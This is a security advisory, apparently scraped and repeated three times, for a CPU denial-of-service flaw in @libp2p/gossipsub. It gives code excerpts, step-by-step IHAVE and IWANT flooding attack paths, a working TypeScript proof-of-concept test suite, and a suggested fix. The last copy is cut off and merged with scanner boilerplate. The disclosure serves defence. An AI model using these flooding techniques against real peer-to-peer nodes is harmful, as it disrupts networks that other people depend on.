### Summary gossipsub processes IHAVE and IWANT control messages by iterating every received message ID synchronously before doing anything with the results. There is no cap on how many IDs a single frame may contain. The default LP frame limit is 4MB, which fits roughly 180,000 message IDs. Iterating that many IDs blocks the Node.js event loop for around 200ms per call. The two variants have different severity. For IHAVE there is a per-peer per-heartbeat counter that limits each peer to one full iteration per heartbeat, so causing a total stall requires around 10 Sybil peers. For IWANT there is no equivalent counter at all, so a single peer continuously streaming 4MB frames can hold the event loop above 80% utilisation indefinitely. ### Details ### No decode-time cap on message ID count (`message/decodeRpc.ts:11-19`) ```typescript export const defaultDecodeRpcLimits: DecodeRPCLimits = { maxSubscriptions: Infinity, maxMessages: Infinity, maxIhaveMessageIDs: Infinity, maxIwantMessageIDs: Infinity, maxIdontwantMessageIDs: Infinity, maxControlMessages: Infinity, maxPeerInfos: Infinity } ``` These are the defaults unless the operator explicitly overrides `opts.decodeRpcLimits`. A `TODO` at `gossipsub.ts:857` already notes the gap: `// TODO: Check max gossip message size, before decodeRpc()`. ### IHAVE iterates all IDs before truncating (`gossipsub.ts:1311-1327`) ```typescript messageIDs.forEach((msgId) => { const msgIdStr = this.msgIdToStrFn(msgId) if (!this.seenCache.has(msgIdStr)) { iwant.set(msgIdStr, msgId) } }) // truncation to GossipsubMaxIHaveLength (5000) only happens after the loop finishes ``` The per-peer flood counters (`iasked`, `peerhave`) do cap things eventually: each peer is limited to 10 IHAVE RPCs and 5000 IDs counted per heartbeat. After the first oversized IHAVE from a peer, subsequent ones are rejected cheaply. The problem is that the cap is per peer, so 10 Sybil peers each sending one 180K-ID IHAVE per heartbeat gives 10 x 150ms = 1500ms of synchronous work against a 1000ms heartbeat interval. ### IWANT has no rate limit at all (`gossipsub.ts:1377-1394`) ```typescript messageIDs?.forEach((msgId) => { const msgIdStr = this.msgIdToStrFn(msgId) const entry = this.mcache.getWithIWantCount(msgIdStr, id) // ... }) ``` Unlike IHAVE, `handleIWant` has no `peerhave` or `iasked` equivalent. A single peer can send IWANT RPCs continuously with no per-heartbeat limit. Sending IWANT for non-existent messages does not affect the attacker's score (`onIwantRcv` is metrics-only), so there is no automatic disconnect. At 1 Gbps a 4MB frame arrives every ~32ms and takes ~135ms to process, giving roughly 81% event-loop utilisation from a single connection. ### Attack Paths **IHAVE (requires ~10 Sybil peers)** The attacker connects 10 peers, each subscribing to a topic the victim is on. New peers start at score 0, which is above the default `gossipThreshold` of -10, so IHAVE processing is active immediately. Each peer sends one 4MB RPC per heartbeat containing a single `ControlIHave` entry with ~180,000 random message IDs. The victim processes all 180,000 IDs per peer before the counter kicks in for that peer. Total event-loop block: around 1500ms per 1000ms heartbeat. **IWANT (single peer, no Sybil)** The attacker connects once and streams 4MB IWANT RPCs continuously, each containing ~180,000 random message IDs that do not exist in the victim's cache. No rate limit applies. At datacenter bandwidth the event loop stays above 80% utilisation indefinitely. ### PoC Setup and execution of PoC ```bash git clone https://github.com/libp2p/js-libp2p.git cd js-libp2p npm install cd packages/gossipsub npx aegir build node --experimental-vm-modules ../../node_modules/.bin/mocha 'dist/test/poc.spec.js' --timeout 30000 ``` PoC Content: ```typescript import { stop } from '@libp2p/interface' import assert from 'node:assert' import { performance } from 'node:perf_hooks' import { encode as lpEncode } from 'it-length-prefixed' import { pEvent } from 'p-event' import { RPC } from '../src/message/rpc.js' import { GossipsubMaxIHaveMessages, GossipsubMaxIHaveLength, GossipsubHeartbeatInterval } from '../src/constants.js' import { createComponents, connectPubsubNodes } from './utils/create-pubsub.js' import type { GossipSubAndComponents } from './utils/create-pubsub.js' const TOPIC = 'poc-ihave-flood' const MSG_ID_BYTES = 20 // 4 MB LP limit / ~22 bytes per message ID (1-byte tag + 1-byte len + 20 bytes) const MSG_IDS_PER_IHAVE = 180_000 function randomMsgIds (count: number): Uint8Array[] { return Array.from({ length: count }, () => { const id = new Uint8Array(MSG_ID_BYTES) crypto.getRandomValues(id) return id }) } describe('CPU DoS via oversized IHAVE and IWANT control message arrays', function () { this.timeout(30_000) let victim: GossipSubAndComponents let attacker: GossipSubAndComponents beforeEach(async () => { ;[victim, attacker] = await Promise.all([ createComponents({ init: { allowPublishToZeroTopicPeers: true } }), createComponents({ init: { allowPublishToZeroTopicPeers: true } }) ]) // Both subscribe to the topic so the victim builds a mesh entry victim.pubsub.subscribe(TOPIC) attacker.pubsub.subscribe(TOPIC) await connectPubsubNodes(victim, attacker) // Wait for one heartbeat so the victim's mesh includes the attacker await pEvent(victim.pubsub, 'gossipsub:heartbeat') }) afterEach(async () => { await stop( victim.pubsub, attacker.pubsub, ...Object.values(victim.components), ...Object.values(attacker.components) ) }) it('BYPASS: single IHAVE with 180K message IDs blocks event loop for ~135ms', async () => { const attackerIdStr = attacker.components.peerId.toString() // Verify attacker is in victim's mesh (required for handleIHave to iterate IDs) const meshPeers = (victim.pubsub as any).mesh.get(TOPIC) as Set<string> | undefined if (meshPeers == null || !meshPeers.has(attackerIdStr)) { // Force mesh membership for the PoC if heartbeat hasn't built it yet if (meshPeers == null) { (victim.pubsub as any).mesh.set(TOPIC, new Set([attackerIdStr])) } else { meshPeers.add(attackerIdStr) } } const messageIDs = randomMsgIds(MSG_IDS_PER_IHAVE) // Invoke handleIHave directly const t0 = performance.now() const iwant = (victim.pubsub as any).handleIHave( attackerIdStr, [{ topicID: TOPIC, messageIDs }] ) as Array<{ messageIDs: Uint8Array[] }> const elapsed = performance.now() - t0 console.log(`\n[PoC] 1 IHAVE × ${MSG_IDS_PER_IHAVE.toLocaleString()} IDs: ${elapsed.toFixed(0)} ms event-loop block`) console.log(`[PoC] Response capped at: ${iwant[0]?.messageIDs?.length ?? 0} IWANTs (limit: ${GossipsubMaxIHaveLength})`) console.log(`[PoC] Heartbeat interval: ${GossipsubHeartbeatInterval} ms`) // The blocking time should be significant (>>10ms) for a meaningful DoS assert.ok(elapsed > 50, `expected >50ms event-loop block for ${MSG_IDS_PER_IHAVE} IDs, got ${elapsed.toFixed(0)}ms`) // Victim caps the response regardless of how many IDs were iterated assert.ok( iwant[0]?.messageIDs?.length <= GossipsubMaxIHaveLength, `response should be capped at ${GossipsubMaxIHaveLength}` ) }) it('MULTI-PEER: N peers × 1 IHAVE each, iasked resets per peer, total block scales linearly', async () => { const N_PEERS = 10 const messageIDs = randomMsgIds(MSG_IDS_PER_IHAVE) // Ensure mesh includes a placeholder topic so !this.mesh.has(topicID) passes const fakeMeshPeers: Set<string> = new Set() ;(victim.pubsub as any).mesh.set(TOPIC, fakeMeshPeers) let totalElapsed = 0 for (let i = 0; i < N_PEERS; i++) { // Each "Sybil" peer uses a unique peer ID string const fakePeerId = `12D3KooW${i.toString().padStart(36, '0')}` fakeMeshPeers.add(fakePeerId) // Fresh counters: simulates a peer the victim hasn't seen this heartbeat ;(victim.pubsub as any).peerhave.delete(fakePeerId) ;(victim.pubsub as any).iasked.delete(fakePeerId) // Score defaults to 0 (> gossipThreshold of -10): no score entry needed const t0 = performance.now() ;(victim.pubsub as any).handleIHave(fakePeerId, [{ topicID: TOPIC, messageIDs }]) const elapsed = performance.now() - t0 totalElapsed += elapsed process.stdout.write(` peer ${i + 1}/${N_PEERS}: ${elapsed.toFixed(0)} ms\n`) } const ratio = totalElapsed / GossipsubHeartbeatInterval console.log(`\n[PoC] ${N_PEERS} peers × ${MSG_IDS_PER_IHAVE.toLocaleString()} IDs: ${totalElapsed.toFixed(0)} ms total`) console.log(`[PoC] Heartbeat interval: ${GossipsubHeartbeatInterval} ms`) console.log(`[PoC] Ratio (block / heartbeat): ${ratio.toFixed(2)}x`) console.log(`[PoC] Attacker cost: ${N_PEERS} × 4 MB = ${N_PEERS * 4} MB/s outbound`) console.log(`[PoC] Each peer's iasked resets at heartbeat — sustainable indefinitely`) // 10 peers should easily exceed the 1s heartbeat interval assert.ok( totalElapsed > GossipsubHeartbeatInterval * 0.9, `expected ${N_PEERS} peers to block ≥ ${GossipsubHeartbeatInterval * 0.9} ms, got ${totalElapsed.toFixed(0)} ms` ) }) it('ENCODE: crafted 180K-ID IHAVE RPC fits within 4 MB LP frame limit', () => { const messageIDs = randomMsgIds(MSG_IDS_PER_IHAVE) const rpc = RPC.encode({ subscriptions: [], messages: [], control: { ihave: [{ topicID: TOPIC, messageIDs }], iwant: [], graft: [], prune: [], idontwant: [] } }) const MAX_LP_BYTES = 4 * 1024 * 1024 // DEFAULT_MAX_DATA_LENGTH from it-length-prefixed console.log(`\n[PoC] Serialised RPC size: ${(rpc.byteLength / (1024 * 1024)).toFixed(2)} MB`) console.log(`[PoC] LP frame limit: ${MAX_LP_BYTES / (1024 * 1024)} MB`) console.log(`[PoC] Fits in one frame: ${rpc.byteLength <= MAX_LP_BYTES ? 'YES ✓' : 'NO ✗'}`) console.log(`[PoC] defaultDecodeRpcLimits.maxIhaveMessageIDs = Infinity (no decode-level cap)`) assert.ok(rpc.byteLength <= MAX_LP_BYTES, `crafted RPC (${rpc.byteLength} bytes) must fit in the 4 MB LP default — confirms no LP-level protection`) }) }) ``` The IWANT variant has the same per-frame timing but does not need Sybil peers. A separate IWANT PoC can be provided on request. ### Impact Any node running `@libp2p/gossipsub` with default options that accepts inbound connections is affected. This includes Ethereum consensus clients using js-libp2p (Lodestar), IPFS nodes with pubsub enabled, and anything calling `createLibp2p({ services: { pubsub: gossipsub() } })`. With 10 Sybil peers the IHAVE variant blocks the event loop for 1.5x the heartbeat interval continuously. The node cannot forward messages, run its heartbeat, or respond to legitimate peers. The IWANT variant achieves the same result from a single connection at datacenter bandwidth. Nodes that explicitly configure `opts.decodeRpcLimits` with finite values are not affected. ## Suggested fix Set finite defaults in `decodeRpc.ts`: ```typescript export const defaultDecodeRpcLimits: DecodeRPCLimits = { maxSubscriptions: 128, maxMessages: 256, maxIhaveMessageIDs: 5_000, maxIwantMessageIDs: 5_000, maxIdontwantMessageIDs: 5_000, maxControlMessages: 128, maxPeerInfos: 16 } ``` Setting `maxIhaveMessageIDs` and `maxIwantMessageIDs` to 5000 (matching `GossipsubMaxIHaveLength`) bounds the iteration cost to the response limit rather than attacker input.
### Summary gossipsub processes IHAVE and IWANT control messages by iterating every received message ID synchronously before doing anything with the results. There is no cap on how many IDs a single frame may contain. The default LP frame limit is 4MB, which fits roughly 180,000 message IDs. Iterating that many IDs blocks the Node.js event loop for around 200ms per call. The two variants have different severity. For IHAVE there is a per-peer per-heartbeat counter that limits each peer to one full iteration per heartbeat, so causing a total stall requires around 10 Sybil peers. For IWANT there is no equivalent counter at all, so a single peer continuously streaming 4MB frames can hold the event loop above 80% utilisation indefinitely. ### Details ### No decode-time cap on message ID count (`message/decodeRpc.ts:11-19`) ```typescript export const defaultDecodeRpcLimits: DecodeRPCLimits = { maxSubscriptions: Infinity, maxMessages: Infinity, maxIhaveMessageIDs: Infinity, maxIwantMessageIDs: Infinity, maxIdontwantMessageIDs: Infinity, maxControlMessages: Infinity, maxPeerInfos: Infinity } ``` These are the defaults unless the operator explicitly overrides `opts.decodeRpcLimits`. A `TODO` at `gossipsub.ts:857` already notes the gap: `// TODO: Check max gossip message size, before decodeRpc()`. ### IHAVE iterates all IDs before truncating (`gossipsub.ts:1311-1327`) ```typescript messageIDs.forEach((msgId) => { const msgIdStr = this.msgIdToStrFn(msgId) if (!this.seenCache.has(msgIdStr)) { iwant.set(msgIdStr, msgId) } }) // truncation to GossipsubMaxIHaveLength (5000) only happens after the loop finishes ``` The per-peer flood counters (`iasked`, `peerhave`) do cap things eventually: each peer is limited to 10 IHAVE RPCs and 5000 IDs counted per heartbeat. After the first oversized IHAVE from a peer, subsequent ones are rejected cheaply. The problem is that the cap is per peer, so 10 Sybil peers each sending one 180K-ID IHAVE per heartbeat gives 10 x 150ms = 1500ms of synchronous work against a 1000ms heartbeat interval. ### IWANT has no rate limit at all (`gossipsub.ts:1377-1394`) ```typescript messageIDs?.forEach((msgId) => { const msgIdStr = this.msgIdToStrFn(msgId) const entry = this.mcache.getWithIWantCount(msgIdStr, id) // ... }) ``` Unlike IHAVE, `handleIWant` has no `peerhave` or `iasked` equivalent. A single peer can send IWANT RPCs continuously with no per-heartbeat limit. Sending IWANT for non-existent messages does not affect the attacker's score (`onIwantRcv` is metrics-only), so there is no automatic disconnect. At 1 Gbps a 4MB frame arrives every ~32ms and takes ~135ms to process, giving roughly 81% event-loop utilisation from a single connection. ### Attack Paths **IHAVE (requires ~10 Sybil peers)** The attacker connects 10 peers, each subscribing to a topic the victim is on. New peers start at score 0, which is above the default `gossipThreshold` of -10, so IHAVE processing is active immediately. Each peer sends one 4MB RPC per heartbeat containing a single `ControlIHave` entry with ~180,000 random message IDs. The victim processes all 180,000 IDs per peer before the counter kicks in for that peer. Total event-loop block: around 1500ms per 1000ms heartbeat. **IWANT (single peer, no Sybil)** The attacker connects once and streams 4MB IWANT RPCs continuously, each containing ~180,000 random message IDs that do not exist in the victim's cache. No rate limit applies. At datacenter bandwidth the event loop stays above 80% utilisation indefinitely. ### PoC Setup and execution of PoC ```bash git clone https://github.com/libp2p/js-libp2p.git cd js-libp2p npm install cd packages/gossipsub npx aegir build node --experimental-vm-modules ../../node_modules/.bin/mocha 'dist/test/poc.spec.js' --timeout 30000 ``` PoC Content: ```typescript import { stop } from '@libp2p/interface' import assert from 'node:assert' import { performance } from 'node:perf_hooks' import { encode as lpEncode } from 'it-length-prefixed' import { pEvent } from 'p-event' import { RPC } from '../src/message/rpc.js' import { GossipsubMaxIHaveMessages, GossipsubMaxIHaveLength, GossipsubHeartbeatInterval } from '../src/constants.js' import { createComponents, connectPubsubNodes } from './utils/create-pubsub.js' import type { GossipSubAndComponents } from './utils/create-pubsub.js' const TOPIC = 'poc-ihave-flood' const MSG_ID_BYTES = 20 // 4 MB LP limit / ~22 bytes per message ID (1-byte tag + 1-byte len + 20 bytes) const MSG_IDS_PER_IHAVE = 180_000 function randomMsgIds (count: number): Uint8Array[] { return Array.from({ length: count }, () => { const id = new Uint8Array(MSG_ID_BYTES) crypto.getRandomValues(id) return id }) } describe('CPU DoS via oversized IHAVE and IWANT control message arrays', function () { this.timeout(30_000) let victim: GossipSubAndComponents let attacker: GossipSubAndComponents beforeEach(async () => { ;[victim, attacker] = await Promise.all([ createComponents({ init: { allowPublishToZeroTopicPeers: true } }), createComponents({ init: { allowPublishToZeroTopicPeers: true } }) ]) // Both subscribe to the topic so the victim builds a mesh entry victim.pubsub.subscribe(TOPIC) attacker.pubsub.subscribe(TOPIC) await connectPubsubNodes(victim, attacker) // Wait for one heartbeat so the victim's mesh includes the attacker await pEvent(victim.pubsub, 'gossipsub:heartbeat') }) afterEach(async () => { await stop( victim.pubsub, attacker.pubsub, ...Object.values(victim.components), ...Object.values(attacker.components) ) }) it('BYPASS: single IHAVE with 180K message IDs blocks event loop for ~135ms', async () => { const attackerIdStr = attacker.components.peerId.toString() // Verify attacker is in victim's mesh (required for handleIHave to iterate IDs) const meshPeers = (victim.pubsub as any).mesh.get(TOPIC) as Set<string> | undefined if (meshPeers == null || !meshPeers.has(attackerIdStr)) { // Force mesh membership for the PoC if heartbeat hasn't built it yet if (meshPeers == null) { (victim.pubsub as any).mesh.set(TOPIC, new Set([attackerIdStr])) } else { meshPeers.add(attackerIdStr) } } const messageIDs = randomMsgIds(MSG_IDS_PER_IHAVE) // Invoke handleIHave directly const t0 = performance.now() const iwant = (victim.pubsub as any).handleIHave( attackerIdStr, [{ topicID: TOPIC, messageIDs }] ) as Array<{ messageIDs: Uint8Array[] }> const elapsed = performance.now() - t0 console.log(`\n[PoC] 1 IHAVE × ${MSG_IDS_PER_IHAVE.toLocaleString()} IDs: ${elapsed.toFixed(0)} ms event-loop block`) console.log(`[PoC] Response capped at: ${iwant[0]?.messageIDs?.length ?? 0} IWANTs (limit: ${GossipsubMaxIHaveLength})`) console.log(`[PoC] Heartbeat interval: ${GossipsubHeartbeatInterval} ms`) // The blocking time should be significant (>>10ms) for a meaningful DoS assert.ok(elapsed > 50, `expected >50ms event-loop block for ${MSG_IDS_PER_IHAVE} IDs, got ${elapsed.toFixed(0)}ms`) // Victim caps the response regardless of how many IDs were iterated assert.ok( iwant[0]?.messageIDs?.length <= GossipsubMaxIHaveLength, `response should be capped at ${GossipsubMaxIHaveLength}` ) }) it('MULTI-PEER: N peers × 1 IHAVE each, iasked resets per peer, total block scales linearly', async () => { const N_PEERS = 10 const messageIDs = randomMsgIds(MSG_IDS_PER_IHAVE) // Ensure mesh includes a placeholder topic so !this.mesh.has(topicID) passes const fakeMeshPeers: Set<string> = new Set() ;(victim.pubsub as any).mesh.set(TOPIC, fakeMeshPeers) let totalElapsed = 0 for (let i = 0; i < N_PEERS; i++) { // Each "Sybil" peer uses a unique peer ID string const fakePeerId = `12D3KooW${i.toString().padStart(36, '0')}` fakeMeshPeers.add(fakePeerId) // Fresh counters: simulates a peer the victim hasn't seen this heartbeat ;(victim.pubsub as any).peerhave.delete(fakePeerId) ;(victim.pubsub as any).iasked.delete(fakePeerId) // Score defaults to 0 (> gossipThreshold of -10): no score entry needed const t0 = performance.now() ;(victim.pubsub as any).handleIHave(fakePeerId, [{ topicID: TOPIC, messageIDs }]) const elapsed = performance.now() - t0 totalElapsed += elapsed process.stdout.write(` peer ${i + 1}/${N_PEERS}: ${elapsed.toFixed(0)} ms\n`) } const ratio = totalElapsed / GossipsubHeartbeatInterval console.log(`\n[PoC] ${N_PEERS} peers × ${MSG_IDS_PER_IHAVE.toLocaleString()} IDs: ${totalElapsed.toFixed(0)} ms total`) console.log(`[PoC] Heartbeat interval: ${GossipsubHeartbeatInterval} ms`) console.log(`[PoC] Ratio (block / heartbeat): ${ratio.toFixed(2)}x`) console.log(`[PoC] Attacker cost: ${N_PEERS} × 4 MB = ${N_PEERS * 4} MB/s outbound`) console.log(`[PoC] Each peer's iasked resets at heartbeat — sustainable indefinitely`) // 10 peers should easily exceed the 1s heartbeat interval assert.ok( totalElapsed > GossipsubHeartbeatInterval * 0.9, `expected ${N_PEERS} peers to block ≥ ${GossipsubHeartbeatInterval * 0.9} ms, got ${totalElapsed.toFixed(0)} ms` ) }) it('ENCODE: crafted 180K-ID IHAVE RPC fits within 4 MB LP frame limit', () => { const messageIDs = randomMsgIds(MSG_IDS_PER_IHAVE) const rpc = RPC.encode({ subscriptions: [], messages: [], control: { ihave: [{ topicID: TOPIC, messageIDs }], iwant: [], graft: [], prune: [], idontwant: [] } }) const MAX_LP_BYTES = 4 * 1024 * 1024 // DEFAULT_MAX_DATA_LENGTH from it-length-prefixed console.log(`\n[PoC] Serialised RPC size: ${(rpc.byteLength / (1024 * 1024)).toFixed(2)} MB`) console.log(`[PoC] LP frame limit: ${MAX_LP_BYTES / (1024 * 1024)} MB`) console.log(`[PoC] Fits in one frame: ${rpc.byteLength <= MAX_LP_BYTES ? 'YES ✓' : 'NO ✗'}`) console.log(`[PoC] defaultDecodeRpcLimits.maxIhaveMessageIDs = Infinity (no decode-level cap)`) assert.ok(rpc.byteLength <= MAX_LP_BYTES, `crafted RPC (${rpc.byteLength} bytes) must fit in the 4 MB LP default — confirms no LP-level protection`) }) }) ``` The IWANT variant has the same per-frame timing but does not need Sybil peers. A separate IWANT PoC can be provided on request. ### Impact Any node running `@libp2p/gossipsub` with default options that accepts inbound connections is affected. This includes Ethereum consensus clients using js-libp2p (Lodestar), IPFS nodes with pubsub enabled, and anything calling `createLibp2p({ services: { pubsub: gossipsub() } })`. With 10 Sybil peers the IHAVE variant blocks the event loop for 1.5x the heartbeat interval continuously. The node cannot forward messages, run its heartbeat, or respond to legitimate peers. The IWANT variant achieves the same result from a single connection at datacenter bandwidth. Nodes that explicitly configure `opts.decodeRpcLimits` with finite values are not affected. ## Suggested fix Set finite defaults in `decodeRpc.ts`: ```typescript export const defaultDecodeRpcLimits: DecodeRPCLimits = { maxSubscriptions: 128, maxMessages: 256, maxIhaveMessageIDs: 5_000, maxIwantMessageIDs: 5_000, maxIdontwantMessageIDs: 5_000, maxControlMessages: 128, maxPeerInfos: 16 } ``` Setting `maxIhaveMessageIDs` and `maxIwantMessageIDs` to 5000 (matching `GossipsubMaxIHaveLength`) bounds the iteration cost to the response limit rather than attacker input.
Update @libp2p/gossipsub to 16.0.0 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanlibp2p: CPU DoS via oversized IHAVE and IWANT control message arrays affects @libp2p/gossipsub (npm). Severity is high. ### Summary gossipsub processes IHAVE and IWANT control messages by iterating every received message ID synchronously before doing anything with the results. There is no cap on how many IDs a single frame may contain. The default LP frame limit is 4MB, which fits roughly 180,000 message IDs. Iterating that many IDs blocks the Node.js event loop for around 200ms per call. The two variants have different severity. For IHAVE there is a per-peer per-heartbeat counter that limits each peer to one full iteration per heartbeat, so causing a total stall requires around 10 Sybil peers. For IWANT there is no equivalent counter at all, so a single peer continuously streaming 4MB frames can hold the event loop above 80% utilisation indefinitely. ### Details ### No decode-time cap on message ID count (`message/decodeRpc.ts:11-19`) ```typescript export const defaultDecodeRpcLimits: DecodeRPCLimits = { maxSubscriptions: Infinity, maxMessages: Infinity, maxIhaveMessageIDs: Infinity, maxIwantMessageIDs: Infinity, maxIdontwantMessageIDs: Infinity, maxControlMessages: Infinity, maxPeerInfos: Infinity } ``` These are the defaults unless the operator explicitly overrides `opts.decodeRpcLimits`. A `TODO` at `gossipsub.ts:857` already notes the gap: `// TODO: Check max gossip message size, before decodeRpc()`. ### IHAVE iterates all IDs before truncating (`gossipsub.ts:1311-1327`) ```typescript messageIDs.forEach((msgId) => { const msgIdStr = this.msgIdToStrFn(msgId) if (!this.seenCache.has(msgIdStr)) { iwant.set(msgIdStr, msgId) } }) // truncation to GossipsubMaxIHaveLength (5000) only happens after the loop finishes ``` The per-peer flood counters (`iasked`, `peerhave`) do cap things eventually: each peer is limited to 10 IHAVE RPCs and 5000 IDs counted per heartbeat. After the first oversized IHAVE from a peer, subsequent ones are rejected cheaply. The problem is that the cap is per peer, so 10 Sybil peers each sending one 180K-ID IHAVE per heartbeat gives 10 x 150ms = 1500ms of synchronous work against a 1000ms heartbeat interval. ### IWANT has no rate limit at all (`gossipsub.ts:1377-1394`) ```typescript messageIDs?.forEach((msgId) => { const msgIdStr = this.msgIdToStrFn(msgId) const entry = this.mcache.getWithIWantCount(msgIdStr, id) // ... }) ``` Unlike IHAVE, `handleIWant` has no `peerhave` or `iasked` equivalent. A single peer can send IWANT RPCs continuously with no per-heartbeat limit. Sending IWANT for non-existent messages does not affect the attacker's score (`onIwantRcv` is metrics-only), so there is no automatic disconnect. At 1 Gbps a 4MB frame arrives every ~32ms and takes ~135ms to process, giving roughly 81% event-loop utilisation from a single connection. ### Attack Paths **IHAVE (requires ~10 Sybil peers)** The attacker connects 10 peers, each subscribing to a topic the victim is on. New peers start at score 0, which is above the default `gossipThreshold` of -10, so IHAVE processing is active immediately. Each peer sends one 4MB RPC per heartbeat containing a single `ControlIHave` entry with ~180,000 random message IDs. The victim processes all 180,000 IDs per peer before the counter kicks in for that peer. Total event-loop block: around 1500ms per 1000ms heartbeat. **IWANT (single peer, no Sybil)** The attacker connects once and streams 4MB IWANT RPCs continuously, each containing ~180,000 random message IDs that do not exist in the victim's cache. No rate limit applies. At datacenter bandwidth the event loop stays above 80% utilisation indefinitely. ### PoC Setup and execution of PoC ```bash git clone https://github.com/libp2p/js-libp2p.git cd js-libp2p npm install cd packages/gossipsub npx aegir build node --experimental-vm-modules ../../node_modules/.bin/mocha 'dist/test/poc.spec.js' --timeout 30000 ``` PoC Content: ```typescript import { stop } from '@libp2p/interface' import assert from 'node:assert' import { performance } from 'node:perf_hooks' import { encode as lpEncode } from 'it-length-prefixed' import { pEvent } from 'p-event' import { RPC } from '../src/message/rpc.js' import { GossipsubMaxIHaveMessages, GossipsubMaxIHaveLength, GossipsubHeartbeatInterval } from '../src/constants.js' import { createComponents, connectPubsubNodes } from './utils/create-pubsub.js' import type { GossipSubAndComponents } from './utils/create-pubsub.js' const TOPIC = 'poc-ihave-flood' const MSG_ID_BYTES = 20 // 4 MB LP limit / ~22 bytes per message ID (1-byte tag + 1-byte len + 20 bytes) const MSG_IDS_PER_IHAVE = 180_000 function randomMsgIds (count: number): Uint8Array[] { return Array.from({ length: count }, () => { const id = new Uint8Array(MSG_ID_BYTES) crypto.getRandomValues(id) return id }) } describe('CPU DoS via oversized IHAVE and IWANT control message arrays', function () { this.timeout(30_000) let victim: GossipSubAndComponents let attacker: GossipSubAndComponents beforeEach(async () => { ;[victim, attacker] = await Promise.all([ createComponents({ init: { allowPublishToZeroTopicPeers: true } }), createComponents({ init: { allowPublishToZeroTopicPeers: true } }) ]) // Both subscribe to the topic so the victim builds a mesh entry victim.pubsub.subscribe(TOPIC) attacker.pubsub.subscribe(TOPIC) await connectPubsubNodes(victim, attacker) // Wait for one heartbeat so the victim's mesh includes the attacker await pEvent(victim.pubsub, 'gossipsub:heartbeat') }) afterEach(async () => { await stop( victim.pubsub, attacker.pubsub, ...Object.values(victim.components), ...Object.values(attacker.components) ) }) it('BYPASS: single IHAVE with 180K message IDs blocks event loop for ~135ms', async () => { const attackerIdStr = attacker.components.peerId.toString() // Verify attacker is in victim's mesh (required for handleIHave to iterate IDs) const meshPeers = (victim.pubsub as any).mesh.get(TOPIC) as Set<string> | undefined if (meshPeers == null || !meshPeers.has(attackerIdStr)) { // Force mesh membership for the PoC if heartbeat hasn't built it yet if (meshPeers == null) { (victim.pubsub as any).mesh.set(TOPIC, new Set([attackerIdStr])) } else { meshPeers.add(attackerIdStr) } } const messageIDs = randomMsgIds(MSG_IDS_PER_IHAVE) // Invoke handleIHave directly const t0 = performance.now() const iwant = (victim.pubsub as any).handleIHave( attackerIdStr, [{ topicID: TOPIC, messageIDs }] ) as Array<{ messageIDs: Uint8Array[] }> const elapsed = performance.now() - t0 console.log(`\n[PoC] 1 IHAVE × ${MSG_IDS_PER_IHAVE.toLocaleString()} IDs: ${elapsed.toFixed(0)} ms event-loop block`) console.log(`[PoC] Response capped at: ${iwant[0]?.messageIDs?.length ?? 0} IWANTs (limit: ${GossipsubMaxIHaveLength})`) console.log(`[PoC] Heartbeat interval: ${GossipsubHeartbeatInterval} ms`) // The blocking time should be significant (>>10ms) for a meaningful DoS assert.ok(elapsed > 50, `expected >50ms event-loop block for ${MSG_IDS_PER_IHAVE} IDs, got ${elapsed.toFixed(0)}ms`) // Victim caps the response regardless of how many IDs were iterated assert.ok( iwant[0]?.messageIDs?.length <= GossipsubMaxIHaveLength, `response should be capped at ${GossipsubMaxIHaveLength}` ) }) it('MULTI-PEER: N peers × 1 IHAVE each, iasked resets per peer, total block scales linearly', async () => { const N_PEERS = 10 const messageIDs = randomMsgIds(MSG_IDS_PER_IHAVE) // Ensure mesh includes a placeholder topic so !this.mesh.has(topicID) passes const fakeMeshPeers: Set<string> = new Set() ;(victim.pubsub as any).mesh.set(TOPIC, fakeMeshPeers) let totalElapsed = 0 for (let i = 0; i < N_PEERS; i++) { // Each "Sybil" peer uses a unique peer ID string const fakePeerId = `12D3KooW${i.toString().padStart(36, '0')}` fakeMeshPeers.add(fakePeerId) // Fresh counters: simulates a peer the victim hasn't seen this heartbeat ;(victim.pubsub as any).peerhave.delete(fakePeerId) ;(victim.pubsub as any).iasked.delete(fakePeerId) // Score defaults to 0 (> gossipThreshold of -10): no score entry needed const t0 = performance.now() ;(victim.pubsub as any).handleIHave(fakePeerId, [{ topicID: TOPIC, messageIDs }]) const elapsed = performance.now() - t0 totalElapsed += elapsed process.stdout.write(` peer ${i + 1}/${N_PEERS}: ${elapsed.toFixed(0)} ms\n`) } const ratio = totalElapsed / GossipsubHeartbeatInterval console.log(`\n[PoC] ${N_PEERS} peers × ${MSG_IDS_PER_IHAVE.toLocaleString()} IDs: ${totalElapsed.toFixed(0)} ms total`) console.log(`[PoC] Heartbeat interval: ${GossipsubHeartbeatInterval} ms`) console.log(`[PoC] Ratio (block / heartbeat): ${ratio.toFixed(2)}x`) console.log(`[PoC] Attacker cost: ${N_PEERS} × 4 MB = ${N_PEERS * 4} MB/s outbound`) console.log(`[PoC] Each peer's iasked resets at heartbeat — sustainable indefinitely`) // 10 peers should easily exceed the 1s heartbeat interval assert.ok( totalElapsed > GossipsubHeartbeatInterval * 0.9, `expected ${N_PEERS} peers to block ≥ ${GossipsubHeartbeatInterval * 0.9} ms, got ${totalElapsed.toFixed(0)} ms` ) }) it('ENCODE: crafted 180K-ID IHAVE RPC fits within 4 MB LP frame limit', () => { const messageIDs = randomMsgIds(MSG_IDS_PER_IHAVE) const rpc = RPC.encode({ subscriptions: [], messages: [], control: { ihave: [{ topicID: TOPIC, messageIDs }], iwant: [], graft: [], prune: [], idontwant: [] } }) const MAX_LP_BYTES = 4 * 1024 * 1024 // DEFAULT_MAX_DATA_LENGTH from it-length-prefixed console.log(`\n[PoC] Serialised RPC size: ${(rpc.byteLength / (1024 * 1024)).toFixed(2)} MB`) console.log(`[PoC] LP frame limit: ${MAX_LP_BYTES / (1024 * 1024)} MB`) console.log(`[PoC] Fits in one frame: ${rpc.byteLength <= MAX_LP_BYTES ? 'YES ✓' : 'NO ✗'}`) console.log(`[PoC] defaultDecodeRpcLimits.maxIhaveMessageIDs = Infinity (no decode-level cap)`) assert.ok(rpc.byteLength <= MAX_LP_BYTES, `crafted RPC (${rpc.byteLength} bytes) must fit in the 4 MB LP default — confirms no LP-level protection`) }) }) ``` The IWANT variant has the same per-frame timing but does not need Sybil peers. A separate IWANT PoC can be provided on request. ### Impact Any node running `@libp2p/gossipsub` with default options that accepts inbound connections is affected. This includes Ethereum consensus clients using js-libp2p (Lodestar), IPFS nodes with pubsub enabled, and anything calling `createLibp2p({ services: { pubsub: gossipsub() } })`. With 10 Sybil peers the IHAVE variant blocks the event loop for 1.5x the heartbeat interval continuously. The node cannot forward messages, run its 